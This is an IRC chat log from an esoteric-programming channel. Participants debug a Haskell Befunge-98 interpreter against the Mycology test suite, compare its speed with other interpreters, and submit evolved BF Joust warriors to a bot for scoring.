22:34:20 <elliott> By the moving code
22:34:26 <Vorpal> elliott, well you don't defer it until you need it for y or for wrapping
22:34:36 <elliott> I actually do, I think
22:34:37 <Vorpal> (not that wrapping needs exact bounds)
22:34:41 <Vorpal> elliott, oh?
22:34:43 <elliott> Except I guess GHC decides to optimise it into strictness
22:34:51 -!- kar8nga has quit (Remote host closed the connection).
22:34:56 <Vorpal> elliott, cfunge doesn't do it until required
22:35:49 <elliott> Aha
22:36:00 <elliott> Vorpal: Look at the code snippet I pasted
22:36:01 <elliott> Spot the bug
22:36:03 <elliott> <elliott> if x == minX || y == minY || x == maxY || y == maxY then [RECALCULATE INCREDIBLY SLOWLY]
22:36:05 <elliott> THE BUG, SPOT IT
22:36:08 <Vorpal> elliott, oh right
22:36:10 <Vorpal> I see it
22:36:11 <Vorpal> maxY
22:36:12 <elliott> GOOD: y reports shrunk bounds correctly after spacing top-left corner
22:36:13 <elliott> BAD: after spacing right edge, y should report greatest point as ( 181 910 ), not ( 182 910 )
22:36:15 <elliott> GOOD: y reports shrunk bounds correctly after spacing bottom edge
22:36:20 <Vorpal> elliott, maxY
22:36:23 <elliott> yep
22:36:46 <elliott> $ time ./shiro >/dev/null
22:36:46 <elliott> real0m3.230s
22:36:50 <elliott> Reading takes a bit under a second though
22:36:53 <elliott> So ehh, it's not too bad
22:36:56 <elliott> I can optimise it later
22:37:12 <Vorpal> $ time env -i build/cfunge -SF mycology/mycology.b98 >/dev/null
22:37:12 <Vorpal> real0m0.107s
22:37:16 <elliott> Yeah yeah yeah
22:37:18 <Vorpal> elliott, that is approx the same as your
22:37:26 <elliott> Vorpal: ...by what metric?
22:37:28 <Vorpal> elliott, no env args, no fingerprints, no i and o
22:37:32 <elliott> Mine is 3s, not 0.3s :P
22:37:40 <elliott> oh
22:37:43 <Vorpal> elliott, I meant approx the same work done
22:37:43 <elliott> Vorpal: Was it that fast and compliant on day 2?
22:37:57 <elliott> The fact that you can disable _features_ after it's _compliant and fast_ is irrelevant :P
22:38:03 <Vorpal> elliott, no. Day 4 more like it. I mean it's C
22:38:19 <Vorpal> elliott, anyway -F disables fingerprints only
22:38:21 <elliott> I doubt that's possible, unless you had as direct a connection to Deewiant as I have
22:38:22 <elliott> Which I doubt
22:38:41 <Vorpal> elliott, I didn't until a bit later. So like a few weeks
22:38:56 <elliott> Let's see where I am in a few weeks :P
22:39:04 <Vorpal> elliott, anyway. your cpu is faster
22:39:11 <Vorpal> elliott, this is a sempron at 2 GHz
22:39:11 <elliott> Oh come on
22:39:21 <elliott> Deewiant: How does CCBI do: UNDEF: the empty string wrapped around the edge of space contains 1 character(s) (hopefully spaces)
22:39:21 <elliott> 0?
22:39:26 <Vorpal> elliott, sempron has 128 kB cache
22:39:34 <elliott> I think I'd prefer to make it 0, either that or 2^32 - 1 :P
22:39:37 <Deewiant> elliott: Didn't you grab CCBI already?
22:39:41 <Deewiant> Anyway, 1
22:39:43 <elliott> Deewiant: Oh right
22:39:45 <elliott> Hmm
22:39:47 <elliott> We're all 1 buddies
22:39:49 <elliott> I'll keep it then
22:40:21 <Vorpal> elliott, YOU KNOW WHAT?
22:40:25 <elliott> WAT
22:40:31 <Vorpal> elliott, I timed a debug build -O0 -ggdb3
22:40:32 <Vorpal> XD
22:40:39 <Vorpal> I thought it was slow
22:40:40 <elliott> lmao
22:40:43 <elliott> SO SLOW
22:40:58 <elliott> Vorpal: Sloccount
22:40:59 <elliott> SLOCDirectorySLOC-by-Language (Sorted)
22:41:00 <elliott> 482 shiro haskell=482
22:41:00 <Vorpal> $ time env -i build_opt/cfunge -SF mycology/mycology.b98 >/dev/null
22:41:00 <Vorpal> real0m0.068s
22:41:00 <elliott> Your move
22:41:02 <Vorpal> that is more like it
22:41:04 <elliott> YOUR MOVE
22:41:11 <Vorpal> elliott, I implement fingerprints too
22:41:18 <Vorpal> elliott, and env args and so on
22:41:21 <elliott> Vorpal: cp those files out before doing it
22:41:21 <Vorpal> elliott, so not fair at all
22:41:27 <elliott> Err, mv them out
22:41:42 <Vorpal> elliott, what tool did you use
22:41:42 <elliott> Env args, sure, but that's a few lines.
22:41:48 <elliott> Vorpal: sloccount.
22:41:51 <elliott> The David A. Wheeler one.
22:41:57 <elliott> It should be "sloccount" in your nearest repository.
22:42:11 <elliott> It is quite noisy in its output but the relevant statistic is the one that looks like what I pasted.
22:42:16 <Vorpal> elliott, not in pacman. Too much work. But iirc with fingerprints and everything it is about 9000 lines of code.
22:42:27 <elliott> Sloccount isn't in pacman??
22:42:32 <Vorpal> oh wait it is
22:42:36 <Vorpal> I typoed search
22:42:49 <elliott> I was about to say, didn't think the repos were THAT bad :D
22:42:55 <Vorpal> elliott, anyway about 9000 lines of code + external code adding another 1000 or so
22:42:55 <elliott> *;D
22:43:01 <elliott> Vorpal: sloccount ignores whitespace and comments
22:43:04 <elliott> so it's fairer.
22:43:08 <Vorpal> elliott, I used ohcount to get that iirc
22:43:42 <Vorpal> elliott, anyway I cache a stack with env vars and cmd line arguments so I can just memcpy it onto the stack if required :P
22:43:47 <Vorpal> elliott, take that
22:44:00 <elliott> But what if the environment variables change?
22:44:05 <Vorpal> elliott, they can't
22:44:11 <elliott> Fingerprint? =?
22:44:12 <Vorpal> elliott, I don't implement ENVR or whatever it is
22:44:16 <Vorpal> elliott, so a non-issue
22:44:23 <elliott> Ah, so yours is less useful
22:44:30 <Vorpal> elliott, not at all
22:44:35 <elliott> Sure
22:44:39 <Vorpal> elliott, not compared to *current* state
22:44:40 <elliott> Deewiant: CCBI *hi5*
22:44:43 <Vorpal> of the interpreters
22:44:45 <Vorpal> which is what counts
22:44:58 <Vorpal> oh sure compared to CCBI I do fewer fingerprints
22:45:08 <Vorpal> elliott, when did you last build CCBI from source?
22:45:09 <elliott> Do you implement MKRY?
22:45:16 <Vorpal> elliott, no... nor does ccbi
22:45:22 <elliott> Funny. Shiro will.
22:45:34 <Vorpal> elliott, I implement some that CCBI doesn't
22:45:37 <Vorpal> FING iirc
22:45:41 <Vorpal> and a few more
22:45:51 <elliott> CCBI has FING.
22:46:03 <Vorpal> elliott, well mycology doesn't test it. Or didn't last I looked
22:46:13 <elliott> New fingerprints, from Rc/Funge-98:
22:46:13 <elliott> FING
22:46:14 <elliott> REXP
22:46:17 <elliott> --2010-04-06
22:46:24 <Vorpal> elliott, does mycology test them?
22:46:29 <Vorpal> elliott, I implement those two
22:46:29 <elliott> Does that matter?
22:46:38 <elliott> Deewiant: Can FNGR be reconciled with the specification?
22:46:43 <Vorpal> elliott, no
22:46:45 <Deewiant> Yes, and it has been
22:46:49 <Vorpal> Deewiant, what
22:46:53 <elliott> And called FING? :P
22:46:57 <elliott> How does it contradict?
22:47:00 <Deewiant> FNGR just enables FNGR-mode or some such
22:47:06 <Vorpal> oh you mean the "spec no longer used bit"
22:47:07 <Vorpal> yeah
22:47:42 <elliott> How does it contradict?
22:47:44 -!- pumpkin has quit (Quit: Computer has gone to sleep.).
22:48:09 <Vorpal> oh EVAR, not ENVR
22:48:34 <Vorpal> elliott, anyway you will have less embedded asm. This is bad.
22:48:41 <elliott> Portability
22:48:48 <Vorpal> elliott, #ifdef :P
22:48:49 <elliott> This probably even runs on Windows
22:48:53 <elliott> Vorpal: Bug: cpp
22:48:54 -!- evitable has quit (Read error: Connection reset by peer).
22:48:57 <elliott> Solution: Don't use cpp
22:49:05 <Vorpal> elliott, bug: cpp isn't lisp macros
22:49:14 <elliott> Bug: cpp exists
22:49:17 <elliott> Solution: Destroy cpp
22:49:20 <Vorpal> solution: use workaround (using cpp)
22:49:39 <Vorpal> elliott, bug: no preprocessor
22:49:44 <Vorpal> solution: use m4
22:49:49 <elliott> Vorpal: Solution: Template Haskell
22:49:53 <Vorpal> elliott, m4!
22:49:57 <elliott> All the elegance of Haskell with all the pain of Haskell's AST
22:50:03 <Vorpal> elliott, or. A literate perl script!
22:50:08 -!- myndzi_ has joined.
22:50:11 <elliott> GHC is a literate Perl script based on regexps.
22:50:12 <Vorpal> elliott, that munges your stuff
22:50:16 <elliott> Don't believe the lies.
22:50:24 <Vorpal> elliott, :P
22:50:44 <Vorpal> yeah anyway. Night →
22:56:17 <elliott> Deewiant: I'm TOTALLY optimising.
22:56:21 <elliott> File loading, to be specific :P
22:56:47 <elliott> "Note: this operation may break referential transparency! If any other process on the system changes the file when it is mapped into Haskell, the contents of your ByteString will change."
22:56:49 <elliott> Deewiant: AM I CRAZY YET
23:04:56 -!- Laugarhraun has joined.
23:05:26 <elliott> Deewiant: I need dependent types :D
23:06:38 <elliott> "Hey, @jonharrop is following me. Unrelated hasn't Common Lisp been scientifically measured as being 10 times as awesome as OCaml or F#?" --James Iry
23:10:15 -!- Lymia_ has changed nick to Lymia.
23:10:16 -!- Lymia has quit (Changing host).
23:10:16 -!- Lymia has joined.
23:12:16 <Lymia> Oh hey.
23:12:23 <Lymia> My BF Joust evolver hasn't crashed.
23:12:23 <Lymia> :s
23:12:51 <elliott> :D
23:12:54 <elliott> Give us some results!
23:13:06 <Lymia> !bfjoust evolved-1006-0 -.+-><-.-[..[.++.]]+><.++>-.-<<..-.+[.+<.><]--<-.>.<>.+<.--<->>(+<>..>><>)*1>><->-<++.-..+-.<+.->>+<-<<>(+++<+-++..[>[.].]..+.-<<<.<>[<-][]>-[].<>-<..[>-<<-][]-.)*3>
23:13:10 <Lymia> In before it completely flunks.
23:13:45 <EgoBot> Score for Lymia_evolved-1006-0: 20.4
23:13:52 <Lymia> :o
23:14:31 <Lymia> (If you must ask, evo-1 is an attempt to evolve the hill, instead of starting from scratch)
23:15:26 <elliott> Lymia: wow, that was good
23:15:58 <Lymia> I do believe that's ~16 or so hours of evolving.
23:16:05 <Lymia> ...
23:16:09 <Lymia> Is that a defensive bot?
23:16:17 <elliott> Might just be.
23:16:25 <elliott> Yep... I think it is.
23:16:32 <elliott> Lymia: suggestion: download the current hill, and after, say, 1000 generations, introduce the best warrior left from the hill every 100 or so generations
23:16:33 <elliott> i.e.
23:16:41 <elliott> generation 1000 - best warrior from the current hill is added
23:16:45 <elliott> generation 1100 - second-best warrior from the current hill is added
23:16:47 <elliott> ...
23:16:54 <Lymia> From the egobot hill?
23:16:59 <elliott> yes, the current one as it is now
23:16:59 <elliott> that way, your warriors start to evolve against the current competition
23:17:04 <elliott> Lymia: oh, omit the evolved ones though
23:17:05 <elliott> obviously
23:17:08 <elliott> (that are on the current hill)
23:17:10 <elliott> anyway
23:17:17 <Lymia> Eh.
23:17:21 <elliott> that way, once the warriors start getting good, they gradually have to fight against the current hill
23:17:23 <Lymia> I might just make it autoupdate the targets.
23:17:38 <Lymia> elliott, it's coded so that the hill dosn't actually get into the evolver's generations.
23:17:42 <Lymia> But they are counted as part of the score.
23:18:16 <Lymia> +><.++>-.-<<
23:18:19 <Lymia> wat?
23:18:27 <Lymia> ...
23:18:29 <elliott> Lymia: Oh, so it is fighting against the current hill?
23:18:31 <elliott> That's okay then.
23:18:37 <Lymia> It goes off the tape as soon as [..[.++.]] exits.
23:18:40 -!- myndzi_ has quit (Quit: -a-).
23:18:59 <elliott> Lymia: you might want to modify egobot to print when some code is never executed when fighting against the hill
23:19:01 <elliott> so that you can strip it off
23:19:03 <elliott> to avoid gunk
23:19:13 <elliott> otherwise it'll keep mutating dead code
23:19:36 <elliott> Deewiant: Erm.
23:19:47 <elliott> Deewiant: When you pop an 0gnirts, the first thing you pop is the start of the string, right?
23:19:50 <Lymia> elliott, and output it into what?
23:19:51 <Lymia> A file?
23:19:55 <elliott> Lymia: Sure. :p
23:20:00 <elliott> Lymia: Or stdout, if that's not already being used.
23:20:04 <Lymia> No.
23:20:08 <Lymia> I'm using the return value only.
23:20:10 -!- nrkn has quit (Quit: Page closed).
23:20:32 <Lymia> Actually.
23:20:45 <Lymia> I could just manually strip off dead code before posting it to egobot.
23:20:59 <Lymia> Mutation is basicly the quickest process.
23:22:49 <elliott> Deewiant: Also, if the least significant bit of the flags cell is high, i treats the file as a binary file; that is, EOL and FF sequences are stored in Funge-space instead of causing the dimension counters to be reset and incremented.
23:22:51 <elliott> Deewiant: WHYYYYYY
23:23:17 <Lymia> elliott, hmm...
23:23:20 <Lymia> Actually.
23:23:30 <Lymia> Right now, it only reads the hill when it's started up.
23:23:48 <Lymia> This is obviously a problem.
23:23:49 <Lymia> =p
23:25:01 <elliott> Deewiant: Aaarrgh! I just discovered something even worse.
23:25:08 <elliott> Lymia: not really, it won't change that much
23:25:24 <Lymia> elliott, meh.
23:25:31 <Lymia> I could make it update every 100 generations or so.
23:25:34 <elliott> Deewiant: I can't just return the last (x,y).
23:25:39 <elliott> Lymia: Way too often, try every 500.
23:25:56 <Lymia> 100 generations is often
23:25:58 <Lymia> ?*
23:25:58 <lambdabot> Maybe you meant: . ? @ v
23:26:09 <Lymia> Considering how long a generation takes, it's not that fast.
23:26:30 <elliott> :t max
23:26:32 <lambdabot> forall a. (Ord a) => a -> a -> a
23:31:05 <elliott> Deewiant: Can mycology test i without o? :p
23:31:07 -!- TLUL has joined.
23:32:18 <elliott> > 0x02 + 0x04 + 0x08
23:32:19 <lambdabot> 14
23:33:21 <Lymia> > 0xFFFFFFFF + 1
23:33:22 <lambdabot> 4294967296
23:33:30 <Lymia> > 0xFFFFFFFFFFFFFFFF + 1
23:33:30 <lambdabot> 18446744073709551616
23:33:40 <Lymia> > 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF + 1
23:33:40 <lambdabot> 340282366920938463463374607431768211456
23:33:45 <Lymia> Screw you and your bignums.
23:33:46 <Lymia> :<
23:33:58 <elliott> :t B.empty
23:33:59 <lambdabot> Couldn't find qualified module.
23:34:04 <elliott> Lymia:
23:34:08 <elliott> > 2^64 :: Int64
23:34:09 <lambdabot> 0
23:34:25 <Lymia> :t 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
23:34:26 <lambdabot> forall t. (Num t) => t
23:34:37 <elliott> Lymia: If you want to put off learning Haskell, just look at that code I pasted ealier.
23:34:38 <elliott> *earlier.
23:34:47 <elliott> @hoogle empty ByteString
23:34:47 <lambdabot> No results found
23:34:49 <elliott> @hoogle empty
23:34:49 <lambdabot> Control.Applicative empty :: Alternative f => f a
23:34:50 <lambdabot> Data.ByteString empty :: ByteString
23:34:50 <lambdabot> Data.IntMap empty :: IntMap a
23:35:51 -!- Sgeo has joined.
23:35:55 -!- augur has quit (Remote host closed the connection).
23:36:38 -!- augur has joined.
23:37:36 -!- augur has quit (Remote host closed the connection).
23:37:49 -!- calamari has joined.
23:39:07 <elliott> Deewiant: What happens if you use o on a section of fungespace with non-ASCII bytes?
23:42:38 <Sgeo> Ok. Maybe it's a bad idea to try to teach someone bad at math my mental shortcut of trying to see how to get units to fit together in order to figure out what to do
23:42:58 <elliott> methinks that Deewiant is away
23:45:17 -!- ais523 has quit (Ping timeout: 240 seconds).
23:47:51 <elliott> hmm
23:47:56 <elliott> all the people who know anything have disappeared
23:49:09 -!- cheater00 has joined.
23:51:03 <Sgeo> elliott, I'm still here
23:52:29 -!- cheater- has quit (Ping timeout: 240 seconds).
23:57:33 <variable> http://scientopia.org/blogs/goodmath/2011/02/06/computability/ --> may interest people here
2011-02-08
00:00:10 <elliott> yay good math bad math
00:00:27 <variable> elliott, yeap
00:00:37 <variable> I've been reading that blog for years
00:00:45 <variable> months? over a year
00:01:04 <Sgeo> elliott
00:01:11 <Sgeo> hmm :(
00:01:31 <elliott> variable: do you want to see an example of BEAUTY and ELEGANCE in Haskell code? too bad, because all I have is this horrible crock!
00:01:48 <variable> elliott, ????
00:01:52 <elliott> just commenting
00:01:55 <elliott> on how awful this code is
00:01:56 <elliott> right now :D
00:02:02 <variable> elliott, FIX IT
00:02:08 <elliott> variable: you fix it: http://sprunge.us/PidB
00:02:48 -!- FireFly has quit (Quit: swatted to death).
00:06:46 <elliott> i think i just horrified variable to death
00:07:02 <variable> elliott, yes
00:08:44 <Sgeo> I think I partially solved my Reddit Chrome problems
00:09:36 -!- Behold has quit (Remote host closed the connection).
00:12:34 <elliott> variable: at least it's shorter than it would be in C :P
00:13:52 <elliott> :t catch
00:13:53 <lambdabot> forall a. IO a -> (IOError -> IO a) -> IO a
00:13:56 <elliott> :t Control.Exception.catch
00:13:57 <lambdabot> forall a e. (GHC.Exception.Exception e) => IO a -> (e -> IO a) -> IO a
00:14:35 <elliott> hmm
00:16:08 <variable> elliott, shorter != better
00:16:17 <elliott> variable: Less crap == better.
00:16:23 <variable> but yes - I get the point
00:16:24 <elliott> Manual memory allocation definitely counts as crap. :P
00:17:31 <Sgeo> There are a lot of imperative compiled languages that do automatic stuff
00:30:49 <elliott> variable: yay! apart from i and o, everything works! (directed at you, the only active person)
00:34:41 -!- Mathnerd314 has joined.
00:34:45 <variable> elliott, ya know - I proved P≠NP but I just can't get the program to output
00:34:50 <elliott> :D
00:34:59 <elliott> i and o are file-handling instructions here :P
00:35:11 <variable> elliott, I figured "input" and "output"
00:35:15 <elliott> they are
00:35:18 <variable> also - use normal names for your functions
00:35:19 <elliott> i reads in some fungespace from a file
00:35:21 <elliott> o outputs it
00:35:24 <elliott> variable: instructions
00:35:28 <elliott> variable: this is Befunge-98
00:35:32 <variable> elliott, ah ok
00:35:34 <elliott> the instructions are i and o :P
00:35:37 * variable should learn it
00:35:45 <elliott> variable: it's more interesting to implement than use imo
00:35:46 <elliott> ^source
00:35:47 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
00:35:52 <elliott> fungot, our friendly babble bot, is written in it ^
00:35:53 <fungot> elliott: grep and cron? :-p) if that's what you were saying something interesting about it
00:35:59 <elliott> and underload/bf interpreting bot :P
00:36:06 <elliott> that source is quite a sight
00:36:10 <variable> elliott, also - I have a programming language that I need some help putting into normal words
00:36:22 <variable> I have the concept down though
00:36:28 <elliott> you think i'm equipped for normal words after implementing a program that (will be able to) run http://git.zem.fi/fungot/blob/HEAD:/fungot.b98? :D
00:36:28 <fungot> elliott: you don't need
00:36:34 <elliott> i don't need normal words? i see
00:36:53 * variable is away for a bit
00:37:04 <olsner> elliott: 'tards don't have to use normal words if they're not able to
00:37:06 <elliott> first few lines of the test-suite i've been running against:
00:37:09 <elliott> 0#@>. 1#@v>#@,55+"skrow , :DOOG",,,,,,,,,,,,,,1#v:$v>"pud t'nseod : DAB",,,,,,,v> v >" 1 naht erom spiks "v
00:37:10 <elliott> v"@.4"@#<.+@,,,,,,,,,,,,,,,,"BAD: : reflects"+55<v _^ @,+55,,,,,,,,,,,< v+---<vfv#< < vdv#< < v<v": a doesn't push 10"+55_v# -+91av#< v "BAD: # across left edge" <
00:37:13 <elliott> >$#v5#.< #5 >:#,_$v#"GGGOOD: : duplicates"+730$<>"OOG">:#,_22#v-#v_19+"0 = 2"v >9-v ^< < ^e^#< < vbv#<^># #< "DAB">:#,_@#"BBAD: a reflects"># 0# 5# 5# +# <
00:37:16 <elliott> >3.#@$ .^@5v"ro"+820_28+"orez spop kcats ytpme :D"^v"-2 != 0"+550 <v"GOOD: 2-"< v a_a"51-11 h"v ^c^#< < >:#,_^#"GGOOD: a pushes 10"># 0# 5# 5# +# < "
00:37:19 <elliott> ^ 0@# 4.2< >"eznon spop kcats ytpme :DAB"v "BAD: - reflects"+55< >:#,_v >v >")seod a taht gnitseretni( krow t'nod f-b :DAB">:#,_@#: < > vc >055+"llec tsom"v
00:37:22 <elliott> v.6_5.@>7.^>+"stcelfer \">" :DAB">:#,_@#:< "BAD: 2"< v"GOOD: | works"+<>#v|>0v v"OD: b-f pus"<>a"tfel snrut [ :DOOG">:#,_v " e v"kips eastern"<
00:37:25 <elliott> hells yeah
00:38:09 <elliott> ("Va=",(60,119),"Vb=",(0,31))
00:38:10 <elliott> BAD: i should have pushed (60, 119) as Va
00:38:11 <elliott> BAD: i should have pushed (90, 16) as Vb
00:38:13 <elliott> hm...
00:38:57 <elliott> heh mycology now takes almost 6.6 seconds
00:39:05 <elliott> i'll optimise that bounds recalculation later with a population count...
00:39:26 <Sgeo> elliott, you got Mycology at the point where it can run? Awesome
00:39:26 <elliott> io $ print ("Va=",offset,"Vb=",(bx-ox,by-oy),"(bx,by)=",(bx,by))
00:39:28 <elliott> olsner: haskell debugging
00:39:54 <olsner> elliott: I think the root cause is an error in the code
00:40:02 <olsner> what did I win?
00:40:17 <elliott> olsner: oh yeah so much money
00:40:21 <elliott> ("Va=",(60,119),"Vb=",(0,31),"(bx,by)=",(60,150))
00:40:21 <elliott> BAD: i should have pushed (60, 119) as Va
00:40:22 <elliott> BAD: i should have pushed (90, 16) as Vb
00:40:23 <elliott> x_X
00:40:46 <elliott> colloquially i would describe this situation as "shit is most fucked-up"
00:40:47 -!- TLUL has quit (Read error: Connection reset by peer).
00:40:56 <elliott> the most fuckest-upness of the shits
00:41:10 <olsner> I like to call that state "nothing fucking works"
00:41:29 -!- TLUL has joined.
00:41:58 -!- TLUL has quit (Read error: Connection reset by peer).
00:42:19 <olsner> (but mostly that's when someone else starts screaming about how nothing fucking works while really it's Just Not That Big A Deal)
00:43:19 <elliott> olsner: you think this isn't a big deal?
00:43:21 <elliott> this is
00:43:21 <elliott> so
00:43:24 <elliott> IMPORTANT
00:43:39 <olsner> I don't care, so obviously it's not really that important
00:43:49 <elliott> That the environment variables are:
00:43:49 <elliott> orihs/edoC/ttoille/emoh/=DWPDLO
00:43:49 <elliott> orihs/orihs/edoC/ttoille/emoh/=_
00:43:49 <elliott> lanimret-emong=MRETROLOC
00:43:49 <elliott> esabatad/67schb-ttoille-rof-htua/mdg/nur/rav/=YTIROHTUAX
00:43:59 <elliott> olsner: where else can you see entertaining bugs like that
00:44:13 <olsner> haha, you're using lanimret-emong
00:44:30 <elliott> olsner: lol
00:44:41 <Gregor> http://codu.org/tmp/dirge-for-accordion.ogg I declare this Best Ever
00:44:44 <elliott> olsner: i had no idea what that said until i typed it out backwards
00:44:46 <elliott> gnome-terminal isn't that bad
00:44:52 <elliott> i'm too lazy to install anything else
00:45:15 <elliott> Gregor: Needs more organ
00:45:18 <elliott> But I like it
00:45:26 <Gregor> Needs more /organ/?
00:45:46 <elliott> Yes.
00:45:53 <olsner> a terminal that has a menu bar and/or a way to configure it is not a worthy terminal
00:45:53 <elliott> Trust me.
00:45:53 * Gregor shakes his fist :P
00:46:08 <elliott> olsner: .Xresources is a way to configure
00:46:11 <elliott> olsner: in fact, xterm has menus to configure
00:46:14 <elliott> your point?
00:46:26 <elliott> also, /me just disabled gnome-terminal's menubar
00:46:31 <elliott> that was hard
00:46:32 <olsner> none really, I just remember gnome-terminal not being to my liking
00:46:46 <olsner> hence it is completely worthless
00:46:49 <elliott> It lets me open URLs nicely, which is more than xterm does :P
00:47:01 <elliott> Also, handles Unicode properly.
00:47:07 <olsner> not doing that is a feature :P
00:47:09 <elliott> Which is a bitch in some terminals.
00:47:16 <elliott> olsner: Because you... like pain?
00:47:22 -!- poiuy_qwert has joined.
00:48:29 <olsner> i just find it perfectly fine to select and paste instead of getting hit by a million ways to get url detection wrong :)
00:48:31 <Sgeo> Atomo has been updated
00:50:43 <elliott> olsner: hit? if i don't want to open it as a url, i don't ctrl-click it
00:50:51 <elliott> in the rare case that it gets something wrong, I do it manually
00:50:53 <elliott> what's the problem :P
00:51:01 <elliott> it also handles emails IIRC, but again, clicking does nothing, it's ctrl+click
00:51:04 <elliott> or I think middle click
00:54:44 <elliott> oh god
00:54:47 <elliott> slashdot redesigned
00:54:55 <elliott> and it's... far better, actually
00:57:27 <elliott> mergeByteString :: Vector -> FungeSpace -> ByteString -> (Vector, FungeSpace)
00:57:27 <elliott> mergeByteString (ox,oy) fs s = ((by,bx),fs')
00:57:28 <elliott> where ((_,by),fs',_,bx) = B.foldl' byte ((ox,oy),fs,False,0) s
00:57:28 <elliott> byte (p@(x,y),fs,lastWasCR,biggestX) w
00:57:28 <elliott> | w == ff || (w == lf && lastWasCR) = (p, fs, False, biggestX)
00:57:28 <elliott> | w == cr || w == lf = ((ox,y+1), fs, w == cr, biggestX)
00:57:30 <elliott> | w == space = ((x+1,y), fs, False, max (x+1) biggestX)
00:57:32 <elliott> | otherwise = ((x+1,y), insertFS p (fromIntegral w) fs, False, max (x+1) biggestX)
00:57:34 <elliott> variable: where's the really obvious bug?
00:57:46 <elliott> because i don't know :D
00:57:58 <Lymia> !bfjoust evo-shortened-0 >++<[..[.++.]+]
00:58:19 <Lymia> !bfjoust evo-shortened-1 [..[.++.]+]
00:58:21 <Lymia> !bfjoust evo-shortened-2 [..[.++.]]
01:00:07 <EgoBot> Score for Lymia_evo-shortened-1: 12.1
01:00:07 <EgoBot> Score for Lymia_evo-shortened-2: 12.0
01:00:07 <EgoBot> Score for Lymia_evo-shortened-0: 17.4
01:00:21 <elliott> haskell development feels like it goes slower
01:00:28 <elliott> because you can't just go through the loop in your head until it makes sense
01:00:36 <elliott> you just sit there thinking... or in my case, not thinking
01:01:22 <Lymia> Bluh.
01:01:29 <Lymia> I have no idea why that works so well.
01:01:36 <Lymia> elliott, shouldn't the outer loop be an noop?
01:01:50 <elliott> Lymia: no, because the interpreter could change the cell in that cycle
01:01:53 <elliott> both [ and ] take a cycle
01:01:55 <Lymia> Ah.
01:02:01 <Lymia> And there's noops there too.
01:02:04 <elliott> although...
01:02:10 <elliott> ]] i think is a nop
01:02:10 <elliott> wait no
01:02:15 <elliott> i think there's one case where you could not die
01:02:17 <elliott> hmm
01:02:20 <elliott> don't try and understand it
01:02:24 <elliott> it's machine code :P
01:02:27 <Lymia> =p
01:02:43 <Lymia> Although.
01:02:48 <Lymia> >< is a true noop
01:02:58 <Lymia> ...unless you're at the end of the tape...
01:03:15 <elliott> Lymia: in bf joust, [-][] can loop forever
01:03:16 <elliott> :)
01:03:26 <elliott> even if the [-] finishes
01:03:52 <Lymia> And [] can terminate.
01:03:53 <Lymia> =p
01:04:00 -!- augur has joined.
01:04:04 <elliott> indeed
01:04:08 <elliott> well, +[] can, rather
01:05:10 <Lymia> I find it quite suprizing really.
01:05:24 <Lymia> That a defensive program evolved that is.
01:05:30 <Lymia> I should try and find out where it came from.
01:06:05 <Lymia> ...
01:06:06 <Lymia> +..[[+-><+.[-[[++.]-[]]++][]+[>.+<[]][<--<>-]<(>.+[]-(-[+<[]]+[])*1<-+->.++<.[+.]>><+<.->.+..+)*7].<]><.-++-<+<+
01:06:12 <Lymia> This is generation 100.
01:06:18 <Lymia> Looks like it was defensive from the start.
01:06:36 <elliott> surprizing, that's a new spelling ::D
01:06:38 <elliott> *:D
01:06:44 <Lymia> :(
01:06:48 <elliott> Lymia: are you sure the hill didn't start out with a bunch of defence programs?
01:06:56 <Lymia> The hill started out randomly.
01:07:42 <elliott> ah
01:07:59 <elliott> Lymia: make a new evolver hill with the current hill, that might be interesting, if your evolver has improved any
01:08:05 <elliott> it seems to be avoiding too many ()s which is an improvement
01:08:18 <elliott> of course the problem is breeding two completely different strategies just results in a clusterfuck
01:08:23 <elliott> do you do breeding yet?
01:08:25 <Lymia> No.
01:08:31 <Lymia> It hasn't really been worked on recenty.
01:08:33 <Lymia> recently*
01:08:39 <Ilari> Heh. Reminds me of evolutionary rock-paper-scissors. :-)
01:08:44 <Lymia> I don't want to try breeding really.
01:08:55 <Lymia> I /could/ try snipping of dead code tohg.
01:08:57 <Lymia> though*
01:10:02 <elliott> Lymia: that would help
01:10:10 <elliott> otherwise it will probably just expand and mutate dead code in the long run
01:10:12 <Ilari> Evolutionary rock-paper-scissors occurs when there are three species/subspecies, such that each of three can outcompete one of the others but is outcompeted by the remaining one. Result is dominant species/subspecies cyclically shifting.
01:10:47 <elliott> Lymia: you may want to talk to impomatic, he's from the core war world and they do a _lot_ of evolving to great success (really competitive), albeit of assembly programs and I think mostly short ones (really short: like less than 20 instructions)
01:10:53 <elliott> might be able to gets tips :P
01:10:54 <elliott> *get
01:11:03 <Lymia> What I really want to do is to try and prevent speicies from dying out.
01:11:09 <Lymia> I might need to modify the core to do this.
01:11:15 <Lymia> (i.e. the non-mutation routines)
01:11:30 <elliott> Lymia: clearly, you need to evolve the mutation routines as a genetic algorithm
01:11:30 <Lymia> Having more than one species alive at the same time would really help, methinks.
01:11:31 <elliott> :D
01:11:38 <Ilari> Other fun evolved stuff: Three species, one peaking 3 year intervals, one peaking 5 year intervals and one peaking 7 year intervals. All intervals are prime and minimize the number of years where multiple peak at the same year.
01:11:38 <Sgeo> Was BF Joust invented in Agora, or just appropriated by it?
01:12:36 <Lymia> Ilari.
01:12:37 <Lymia> Well.
01:12:41 <elliott> Ilari: i thought you meant an evolutionary algorithm for rock paper scissors :D
01:12:46 <Lymia> I know that defence->dumb rush
01:12:50 <Sgeo> Ah, it was an Agoran invention
01:12:53 <Lymia> I don't know what closes the circuit.
01:12:54 <Lymia> =p
01:12:59 <Gregor> elliott: BEST - IDEA - EVER
01:13:21 <elliott> Gregor: TOTALLY
01:14:27 <Lymia> BF Rock Paper Scissors
01:15:39 <elliott> aha!
01:15:42 <elliott> i think i know what the wrongs are.
01:15:48 <elliott> yes: the wrongs
01:16:32 <elliott> GOOD: i pushed correct Va (60, 119)
01:16:32 <elliott> GOOD: i pushed correct Vb (90, 16)
01:16:34 <elliott> SQUEESOME
01:16:44 <Gregor> http://codu.org/tmp/dirge-for-accordion.ogg I NOTICE PEOPLE ARE NOT HEAPING PRAISE ON ME FOR THIS
01:16:52 <elliott> Gregor: I loved it...
01:17:04 <Gregor> elliott: "People" is plural! X-P
01:17:17 <Sgeo> !bfjouse test_d [[+]+]
01:17:24 <Sgeo> !bfjoust test_d [[+]+]
01:17:51 <EgoBot> Score for Sgeo_test_d: 8.3
01:18:30 <Sgeo> !bfjoust lose [-]
01:18:55 <EgoBot> Score for Sgeo_lose: 8.4
01:18:59 <elliott> BAD: (-8, -9) should be @
